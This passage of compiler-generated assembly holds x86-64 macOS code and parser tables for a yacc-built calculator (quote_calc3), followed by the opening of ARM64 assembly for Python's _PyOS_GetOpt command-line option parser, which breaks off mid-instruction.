Depth=1 movl $1, -16(%rbp) movq _yystack+16(%rip), %rax movq %rax, %rcx addq $2, %rcx movq %rcx, _yystack+16(%rip) movw $1, 2(%rax) movq _quote_calc3_val@GOTPCREL(%rip), %rax movl (%rax), %ecx movq _yystack+40(%rip), %rax movq %rax, %rdx addq $4, %rdx movq %rdx, _yystack+40(%rip) movl %ecx, 4(%rax) movq _quote_calc3_char@GOTPCREL(%rip), %rax cmpl $0, (%rax) jge LBB1_71 ## %bb.68: ## in Loop: Header=BB1_4 Depth=1 callq _quote_calc3_lex movq _quote_calc3_char@GOTPCREL(%rip), %rcx movl %eax, (%rcx) cmpl $0, %eax jge LBB1_70 ## %bb.69: ## in Loop: Header=BB1_4 Depth=1 movq _quote_calc3_char@GOTPCREL(%rip), %rax movl $0, (%rax) LBB1_70: ## in Loop: Header=BB1_4 Depth=1 jmp LBB1_71 LBB1_71: ## in Loop: Header=BB1_4 Depth=1 movq _quote_calc3_char@GOTPCREL(%rip), %rax cmpl $0, (%rax) jne LBB1_73 ## %bb.72: jmp LBB1_86 LBB1_73: ## in Loop: Header=BB1_4 Depth=1 jmp LBB1_4 LBB1_74: ## in Loop: Header=BB1_4 Depth=1 movslq -8(%rbp), %rcx leaq _quote_calc3_gindex(%rip), %rax movswl (%rax,%rcx,2), %eax movl %eax, -12(%rbp) cmpl $0, %eax je LBB1_79 ## %bb.75: ## in Loop: Header=BB1_4 Depth=1 movl -16(%rbp), %eax addl -12(%rbp), %eax movl %eax, -12(%rbp) cmpl $0, %eax jl LBB1_79 ## %bb.76: ## in Loop: Header=BB1_4 Depth=1 cmpl $258, -12(%rbp) ## imm = 0x102 jg LBB1_79 ## %bb.77: ## in Loop: Header=BB1_4 Depth=1 movslq -12(%rbp), %rcx leaq _quote_calc3_check(%rip), %rax movswl (%rax,%rcx,2), %eax cmpl -16(%rbp), %eax jne LBB1_79 ## %bb.78: ## in Loop: Header=BB1_4 Depth=1 movslq -12(%rbp), %rcx leaq _quote_calc3_table(%rip), %rax movswl (%rax,%rcx,2), %eax movl %eax, -16(%rbp) jmp LBB1_80 LBB1_79: ## in Loop: Header=BB1_4 Depth=1 movslq -8(%rbp), %rcx leaq _quote_calc3_dgoto(%rip), %rax movswl (%rax,%rcx,2), %eax movl %eax, -16(%rbp) LBB1_80: ## in Loop: Header=BB1_4 Depth=1 movq _yystack+16(%rip), %rax cmpq _yystack+24(%rip), %rax jb LBB1_83 ## %bb.81: ## in Loop: Header=BB1_4 Depth=1 leaq _yystack(%rip), %rdi callq _yygrowstack cmpl $0, %eax je LBB1_83 ## %bb.82: jmp LBB1_84 LBB1_83: ## in Loop: Header=BB1_4 Depth=1 movl -16(%rbp), %eax movw %ax, %cx movq _yystack+16(%rip), %rax movq %rax, %rdx addq $2, %rdx movq %rdx, _yystack+16(%rip) movw %cx, 2(%rax) movq _quote_calc3_val@GOTPCREL(%rip), %rax movl (%rax), %ecx movq _yystack+40(%rip), %rax movq %rax, %rdx addq $4, %rdx movq %rdx, _yystack+40(%rip) movl %ecx, 4(%rax) jmp LBB1_4 LBB1_84: leaq L_.str.2(%rip), %rdi callq _quote_calc3_error LBB1_85: movl $1, -4(%rbp) jmp LBB1_87 LBB1_86: movl $0, -4(%rbp) LBB1_87: movl -4(%rbp), %eax addq $32, %rsp popq %rbp retq .cfi_endproc .p2align 2, 0x90 .data_region jt32 .set L1_0_set_50, LBB1_50-LJTI1_0 .set L1_0_set_51, LBB1_51-LJTI1_0 .set L1_0_set_52, LBB1_52-LJTI1_0 .set L1_0_set_53, LBB1_53-LJTI1_0 .set L1_0_set_54, LBB1_54-LJTI1_0 .set L1_0_set_55, LBB1_55-LJTI1_0 .set L1_0_set_56, LBB1_56-LJTI1_0 .set L1_0_set_57, LBB1_57-LJTI1_0 .set L1_0_set_58, LBB1_58-LJTI1_0 .set L1_0_set_59, LBB1_59-LJTI1_0 .set L1_0_set_60, LBB1_60-LJTI1_0 .set L1_0_set_61, LBB1_61-LJTI1_0 .set L1_0_set_62, LBB1_62-LJTI1_0 .set L1_0_set_65, LBB1_65-LJTI1_0 .set L1_0_set_63, LBB1_63-LJTI1_0 .set L1_0_set_64, LBB1_64-LJTI1_0 LJTI1_0: .long L1_0_set_50 .long L1_0_set_51 .long L1_0_set_52 .long L1_0_set_53 .long L1_0_set_54 .long L1_0_set_55 .long L1_0_set_56 .long L1_0_set_57 .long L1_0_set_58 .long L1_0_set_59 .long L1_0_set_60 .long L1_0_set_61 .long L1_0_set_62 .long L1_0_set_65 .long L1_0_set_63 .long L1_0_set_64 .end_data_region ## -- End function .globl _quote_calc3_lex ## -- Begin function quote_calc3_lex .p2align 4, 0x90 _quote_calc3_lex: ## @quote_calc3_lex .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp LBB2_1: ## =>This Inner Loop Header: Depth=1 callq _getchar movl %eax, -8(%rbp) cmpl $32, %eax jne LBB2_3 ## %bb.2: ## in Loop: Header=BB2_1 Depth=1 jmp LBB2_1 LBB2_3: movl -8(%rbp), %edi callq _islower cmpl $0, %eax je LBB2_5 ## %bb.4: movl -8(%rbp), %ecx subl $97, %ecx movq _quote_calc3_lval@GOTPCREL(%rip), %rax movl %ecx, (%rax) movl $270, -4(%rbp) ## imm = 0x10E jmp LBB2_8 LBB2_5: movl -8(%rbp), %edi callq _isdigit cmpl $0, %eax je LBB2_7 ## %bb.6: movl -8(%rbp), %ecx subl $48, %ecx movq _quote_calc3_lval@GOTPCREL(%rip), %rax movl %ecx, (%rax) movl $269, -4(%rbp) ## imm = 0x10D jmp LBB2_8 LBB2_7: movl -8(%rbp), %eax movl %eax, -4(%rbp) LBB2_8: movl -4(%rbp), %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .p2align 4, 0x90 ## -- Begin function yygrowstack _yygrowstack: ## @yygrowstack .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq %rdi, -16(%rbp) movq -16(%rbp), %rax movl (%rax), %eax movl %eax, -24(%rbp) cmpl $0, %eax jne LBB3_2 ## %bb.1: movl $500, -24(%rbp) ## imm = 0x1F4 jmp LBB3_8 LBB3_2: cmpl $500, -24(%rbp) ## imm = 0x1F4 jb LBB3_4 ## %bb.3: movl $-1, -4(%rbp) jmp LBB3_13 LBB3_4: movl -24(%rbp), %eax shll $1, %eax movl %eax, -24(%rbp) cmpl $500, %eax ## imm = 0x1F4 jbe LBB3_6 ## %bb.5: movl $500, -24(%rbp) ## imm = 0x1F4 LBB3_6: jmp LBB3_7 LBB3_7: jmp LBB3_8 LBB3_8: movq -16(%rbp), %rax movq 16(%rax), %rax movq -16(%rbp), %rcx movq 8(%rcx), %rcx subq %rcx, %rax sarq $1, %rax ## kill: def $eax killed $eax killed $rax movl %eax, -20(%rbp) movq -16(%rbp), %rax movq 8(%rax), %rdi movl -24(%rbp), %eax movl %eax, %esi shlq $1, %rsi callq _realloc movq %rax, -32(%rbp) cmpq $0, -32(%rbp) jne LBB3_10 ## %bb.9: movl $-1, -4(%rbp) jmp LBB3_13 LBB3_10: movq -32(%rbp), %rcx movq -16(%rbp), %rax movq %rcx, 8(%rax) movq -32(%rbp), %rcx movslq -20(%rbp), %rax shlq $1, %rax addq %rax, %rcx movq -16(%rbp), %rax movq %rcx, 16(%rax) movq -16(%rbp), %rax movq 32(%rax), %rdi movl -24(%rbp), %eax movl %eax, %esi shlq $2, %rsi callq _realloc movq %rax, -40(%rbp) cmpq $0, -40(%rbp) jne LBB3_12 ## %bb.11: movl $-1, -4(%rbp) jmp LBB3_13 LBB3_12: movq -40(%rbp), %rcx movq -16(%rbp), %rax movq %rcx, 32(%rax) movq -40(%rbp), %rcx movslq -20(%rbp), %rax shlq $2, %rax addq %rax, %rcx movq -16(%rbp), %rax movq %rcx, 40(%rax) movl -24(%rbp), %ecx movq -16(%rbp), %rax movl %ecx, (%rax) movq -16(%rbp), %rax movq 8(%rax), %rcx movl -24(%rbp), %eax ## kill: def $rax killed $eax shlq $1, %rax addq %rax, %rcx addq $-2, %rcx movq -16(%rbp), %rax movq %rcx, 24(%rax) movl $0, -4(%rbp) LBB3_13: movl -4(%rbp), %eax addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .p2align 4, 0x90 ## -- Begin function quote_calc3_error _quote_calc3_error: ## @quote_calc3_error .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi movq -8(%rbp), %rdx leaq L_.str.3(%rip), %rsi movb $0, %al callq _fprintf addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _quote_calc3_lval,4,2 ## @quote_calc3_lval .comm _quote_calc3_nerrs,4,2 ## @quote_calc3_nerrs .comm _quote_calc3_errflag,4,2 ## @quote_calc3_errflag .comm _quote_calc3_char,4,2 ## @quote_calc3_char .zerofill __DATA,__bss,_yystack,48,3 ## @yystack .section __TEXT,__const .p2align 4 ## @quote_calc3_defred _quote_calc3_defred: .short 1 ## 0x1 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 17 ## 0x11 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 3 ## 0x3 .short 15 ## 0xf .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 2 ## 0x2 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 18 ## 0x12 .short 0 ## 0x0 .short 6 ## 0x6 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .p2align 4 ## @quote_calc3_sindex _quote_calc3_sindex: .short 0 ## 0x0 .short 65498 ## 0xffda .short 5 ## 0x5 .short 65500 ## 0xffdc .short 0 ## 0x0 .short 65485 ## 0xffcd .short 65500 ## 0xffdc .short 7 ## 0x7 .short 65415 ## 0xff87 .short 65288 ## 0xff08 .short 0 ## 0x0 .short 0 ## 0x0 .short 65293 ## 0xff0d .short 65500 ## 0xffdc .short 65514 ## 0xffea .short 0 ## 0x0 .short 65500 ## 0xffdc .short 65500 ## 0xffdc .short 65500 ## 0xffdc .short 65500 ## 0xffdc .short 65500 ## 0xffdc .short 65500 ## 0xffdc .short 65500 ## 0xffdc .short 0 ## 0x0 .short 65415 ## 0xff87 .short 0 ## 0x0 .short 65415 ## 0xff87 .short 65415 ## 0xff87 .short 65415 ## 0xff87 .short 65415 ## 0xff87 .short 65415 ## 0xff87 .short 65415 ## 0xff87 .short 65293 ## 0xff0d .p2align 4 ## @quote_calc3_check _quote_calc3_check: .short 10 ## 0xa .short 10 ## 0xa .short 40 ## 0x28 .short 124 ## 0x7c .short 40 ## 0x28 .short 10 ## 0xa .short 10 ## 0xa .short 10 ## 0xa .short 10 ## 0xa .short 10 ## 0xa .short 61 ## 0x3d .short 10 ## 0xa .short 10 ## 0xa .short 10 ## 0xa .short 257 ## 0x101 .short 10 ## 0xa .short 259 ## 0x103 .short 10 ## 0xa .short 261 ## 0x105 .short 41 ## 0x29 .short 263 ## 0x107 .short 269 ## 0x10d .short 265 ## 0x109 .short 10 ## 0xa .short 267 ## 0x10b .short 10 ## 0xa .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 41 ## 0x29 .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 41 ## 0x29 .short 41 ## 0x29 .short 41 ## 0x29 .short 41 ## 0x29 .short 41 ## 0x29 .short 65535 ## 0xffff .short 41 ## 0x29 .short 41 ## 0x29 .short 41 ## 0x29 .short 3 ## 0x3 .short 65535 ## 0xffff .short 65535 ## 0xffff .short 6 ## 0x6 .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 13 ## 0xd .short 65535 ## 0xffff .short 65535 ## 0xffff .short 16 ## 0x10 .short 17 ## 0x11 .short 18 ## 0x12 .short 19 ## 0x13 .short 20 ## 0x14 .short 21 ## 0x15 .short 22 ## 0x16 .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 124 ## 0x7c .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 124 ## 0x7c .short 124 ## 0x7c .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 124 ## 0x7c .short 124 ## 0x7c .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 257 ## 0x101 .short 65535 ## 0xffff .short 259 ## 0x103 .short 65535 ## 0xffff .short 261 ## 0x105 .short 65535 ## 0xffff .short 263 ## 0x107 .short 65535 ## 0xffff .short 265 ## 0x109 .short 65535 ## 0xffff .short 267 ## 0x10b .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 256 ## 0x100 .short 65535 ## 0xffff .short 65535 ## 0xffff .short 259 ## 0x103 .short 65535 ## 0xffff .short 259 ## 0x103 .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 65535 ## 0xffff .short 269 ## 0x10d .short 270 ## 0x10e .short 269 ## 0x10d .short 270 ## 0x10e .short 257 ## 0x101 .short 65535 ## 0xffff .short 259 ## 0x103 .short 65535 ## 0xffff .short 261 ## 0x105 .short 65535 ## 0xffff .short 263 ## 0x107 .short 65535 ## 0xffff .short 265 ## 0x109 .short 65535 ## 0xffff .short 267 ## 0x10b .short 65535 ## 0xffff .short 257 ## 0x101 .short 257 ## 0x101 .short 259 ## 0x103 .short 259 ## 0x103 .short 261 ## 0x105 .short 261 ## 0x105 .short 263 ## 0x107 .short 263 ## 0x107 .short 265 ## 0x109 .short 265 ## 0x109 .short 267 ## 0x10b .short 267 ## 0x10b .p2align 4 ## @quote_calc3_table _quote_calc3_table: .short 16 ## 0x10 .short 15 ## 0xf .short 6 ## 0x6 .short 22 ## 0x16 .short 6 ## 0x6 .short 14 ## 0xe .short 13 ## 0xd .short 7 ## 0x7 .short 8 ## 0x8 .short 9 ## 0x9 .short 13 ## 0xd .short 10 ## 0xa .short 11 ## 0xb .short 12 ## 0xc .short 16 ## 0x10 .short 10 ## 0xa .short 17 ## 0x11 .short 15 ## 0xf .short 18 ## 0x12 .short 25 ## 0x19 .short 19 ## 0x13 .short 23 ## 0x17 .short 20 ## 0x14 .short 4 ## 0x4 .short 21 ## 0x15 .short 5 ## 0x5 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 16 ## 0x10 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 14 ## 0xe .short 13 ## 0xd .short 7 ## 0x7 .short 8 ## 0x8 .short 9 ## 0x9 .short 0 ## 0x0 .short 10 ## 0xa .short 11 ## 0xb .short 12 ## 0xc .short 12 ## 0xc .short 0 ## 0x0 .short 0 ## 0x0 .short 14 ## 0xe .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 24 ## 0x18 .short 0 ## 0x0 .short 0 ## 0x0 .short 26 ## 0x1a .short 27 ## 0x1b .short 28 ## 0x1c .short 29 ## 0x1d .short 30 ## 0x1e .short 31 ## 0x1f .short 32 ## 0x20 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 22 ## 0x16 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 16 ## 0x10 .short 15 ## 0xf .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 14 ## 0xe .short 13 ## 0xd .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 16 ## 0x10 .short 0 ## 0x0 .short 17 ## 0x11 .short 0 ## 0x0 .short 18 ## 0x12 .short 0 ## 0x0 .short 19 ## 0x13 .short 0 ## 0x0 .short 20 ## 0x14 .short 0 ## 0x0 .short 21 ## 0x15 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 2 ## 0x2 .short 0 ## 0x0 .short 0 ## 0x0 .short 3 ## 0x3 .short 0 ## 0x0 .short 3 ## 0x3 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 4 ## 0x4 .short 5 ## 0x5 .short 4 ## 0x4 .short 11 ## 0xb .short 16 ## 0x10 .short 0 ## 0x0 .short 17 ## 0x11 .short 0 ## 0x0 .short 18 ## 0x12 .short 0 ## 0x0 .short 19 ## 0x13 .short 0 ## 0x0 .short 20 ## 0x14 .short 0 ## 0x0 .short 21 ## 0x15 .short 0 ## 0x0 .short 16 ## 0x10 .short 15 ## 0xf .short 16 ## 0x10 .short 15 ## 0xf .short 16 ## 0x10 .short 15 ## 0xf .short 16 ## 0x10 .short 15 ## 0xf .short 16 ## 0x10 .short 15 ## 0xf .short 16 ## 0x10 .short 15 ## 0xf .p2align 4 ## @quote_calc3_rindex _quote_calc3_rindex: .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 65527 ## 0xfff7 .short 0 ## 0x0 .short 0 ## 0x0 .short 13 ## 0xd .short 65526 ## 0xfff6 .short 0 ## 0x0 .short 0 ## 0x0 .short 65531 ## 0xfffb .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 15 ## 0xf .short 0 ## 0x0 .short 65533 ## 0xfffd .short 65534 ## 0xfffe .short 65535 ## 0xffff .short 1 ## 0x1 .short 2 ## 0x2 .short 3 ## 0x3 .short 65532 ## 0xfffc .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "syntax error" .section __TEXT,__const .p2align 4 ## @quote_calc3_len _quote_calc3_len: .short 2 ## 0x2 .short 0 ## 0x0 .short 3 ## 0x3 .short 3 ## 0x3 .short 1 ## 0x1 .short 3 ## 0x3 .short 3 ## 0x3 .short 3 ## 0x3 .short 3 ## 0x3 .short 3 ## 0x3 .short 3 ## 0x3 .short 3 ## 0x3 .short 3 ## 0x3 .short 3 ## 0x3 .short 2 ## 0x2 .short 1 ## 0x1 .short 1 ## 0x1 .short 1 ## 0x1 .short 2 ## 0x2 .comm _quote_calc3_val,4,2 ## @quote_calc3_val .section __TEXT,__cstring,cstring_literals L_.str.1: ## @.str.1 .asciz "%d\n" .comm _regs,104,4 ## @regs .comm _base,4,2 ## @base .section __TEXT,__const .p2align 4 ## @quote_calc3_lhs _quote_calc3_lhs: .short 65535 ## 0xffff .short 0 ## 0x0 .short 0 ## 0x0 .short 0 ## 0x0 .short 1 ## 0x1 .short 1 ## 0x1 .short 2 ## 0x2 .short 2 ## 0x2 .short 2 ## 0x2 .short 2 ## 0x2 .short 2 ## 0x2 .short 2 ## 0x2 .short 2 ## 0x2 .short 2 ## 0x2 .short 2 ## 0x2 .short 2 ## 0x2 .short 2 ## 0x2 .short 3 ## 0x3 .short 3 ## 0x3 .p2align 1 ## @quote_calc3_gindex _quote_calc3_gindex: .short 0 ## 0x0 .short 0 ## 0x0 .short 42 ## 0x2a .short 0 ## 0x0 .p2align 1 ## @quote_calc3_dgoto _quote_calc3_dgoto: .short 1 ## 0x1 .short 7 ## 0x7 .short 8 ## 0x8 .short 9 ## 0x9 .section __TEXT,__cstring,cstring_literals L_.str.2: ## @.str.2 .asciz "yacc stack overflow" .comm _quote_calc3_debug,4,2 ## @quote_calc3_debug L_.str.3: ## @.str.3 .asciz "%s\n" .subsections_via_symbols
the_stack_data/248580051.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl __PyOS_GetOpt ; -- Begin function _PyOS_GetOpt .p2align 2 __PyOS_GetOpt: ; @_PyOS_GetOpt .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur w0, [x29, #-8] stur x1, [x29, #-16] str x2, [sp, #24] adrp x8, __PyOS_GetOpt.opt_ptr@PAGE ldr x8, [x8, __PyOS_GetOpt.opt_ptr@PAGEOFF] ldrsb w8, [x8] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB0_9 b LBB0_1 LBB0_1: adrp x8, __PyOS_optind@PAGE ldr w8, [x8, __PyOS_optind@PAGEOFF] ldur w9, [x29, #-8] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_4 b LBB0_2 LBB0_2: ldur x8, [x29, #-16] adrp x9, __PyOS_optind@PAGE ldrsw x9, [x9, __PyOS_optind@PAGEOFF] ldr x8, [x8, x9, lsl #3] ldrsb w8, [x8] subs w8, w8, #45 cset w8, ne tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: ldur x8, [x29, #-16] adrp x9, __PyOS_optind@PAGE ldrsw x9, [x9, __PyOS_optind@PAGEOFF] ldr x8, [x8, x9, lsl #3] ldrsb w8, [x8, #1] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB0_5 b LBB0_4 LBB0_4: mov w8, #-1 stur w8, [x29, #-4] b LBB0_25 LBB0_5: ldur x8, [x29, #-16] adrp x9, __PyOS_optind@PAGE ldrsw x9, [x9, __PyOS_optind@PAGEOFF] ldr x0, [x8, x9, lsl #3] adrp x1, l_.str.1@PAGE add x1, x1, l_.str.1@PAGEOFF bl _strcmp subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB0_7 b LBB0_6 LBB0_6: adrp x9, __PyOS_optind@PAGE ldr w8, [x9, __PyOS_optind@PAGEOFF] add w8, w8, #1 str w8, [x9, __PyOS_optind@PAGEOFF] mov w8, #-1 stur w8, [x29, #-4] b LBB0_25 LBB0_7: b LBB0_8 LBB0_8: ldur x8, [x29, #-16] adrp x11, __PyOS_optind@PAGE ldrsw x9, [x11, __PyOS_optind@PAGEOFF] mov x10, x9 add w10, w10, #1 str w10, [x11, __PyOS_optind@PAGEOFF] ldr x8, [x8, x9, lsl #3] add x8, x8, #1 adrp x9, __PyOS_GetOpt.opt_ptr@PAGE str x8, [x9, __PyOS_GetOpt.opt_ptr@PAGEOFF] b LBB0_9 LBB0_9: adrp x10, __PyOS_GetOpt.opt_ptr@PAGE ldr x8, [x10, __PyOS_GetOpt.opt_ptr@PAGEOFF] add x9, x8, #1 str x9, [x10, __PyOS_GetOpt.opt_ptr@PAGEOFF] ldrsb w8, [x8] str w8, [sp, #12] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB0_11 b LBB0_10 LBB0_10: mov w8, #-1 stur w8, [x29, #-4] b LBB0_25 LBB0_11: ldr x0, [sp, #24] ldr 